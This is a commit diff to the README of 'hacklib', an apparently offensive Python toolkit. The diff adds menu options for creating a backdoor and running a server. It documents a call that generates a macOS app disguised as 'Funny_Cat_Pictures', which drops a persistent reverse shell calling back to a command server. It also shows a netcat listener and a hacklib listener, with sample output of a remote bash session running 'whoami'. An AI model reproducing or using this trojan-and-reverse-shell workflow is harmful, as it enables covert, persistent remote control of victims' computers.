File tree Expand file tree Collapse file tree 1 file changed +14
-5
lines changed Expand file tree Collapse file tree 1 file changed +14
-5
lines changed Original file line number Diff line number Diff line change @@ -24,7 +24,9 @@ Enter the number corresponding to your choice.
24
24
1) Connect to a proxy
25
25
2) Target an IP or URL
26
26
3) Lan Scan
27
- 4) Exit
27
+ 4) Create Backdoor
28
+ 5) Server
29
+ 6) Exit
28
30
29
31
```
30
32
Or if you got it using pip:
@@ -46,14 +48,21 @@ Reverse shell backdooring (Currently only for Macs):
46
48
import hacklib
47
49
48
50
bd = hacklib.Backdoor()
49
- # Generates an app that drops a persistent reverse shell into the system.
51
+ # Generates an app that, when ran, drops a persistent reverse shell into the system.
50
52
bd.create(' 127.0.0.1' , 9090 , ' OSX' , ' Funny_Cat_Pictures' )
51
53
# Takes the IP and port of the command server, the OS of the target, and the name of the .app
52
54
```
53
55
54
- Listen for connections with netcat:
55
- ```
56
- nc -l 9090
56
+ Listen for connections with Server:
57
+ ``` python
58
+ >> > import hacklib
59
+ >> > s = hacklib.Server(9091 ) # Bind server to port 9091
60
+ >> > s.listen()
61
+ New connection (' 127.0.0.1' , 50011 ) # Prints this when a computer connects
62
+ bash: no job control in this shell
63
+ bash$ whoami # Type a command
64
+ leon
65
+ bash$ # Nice!
57
66
```
58
67
-
59
68
Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:
You can’t perform that action at this time.
0 commit comments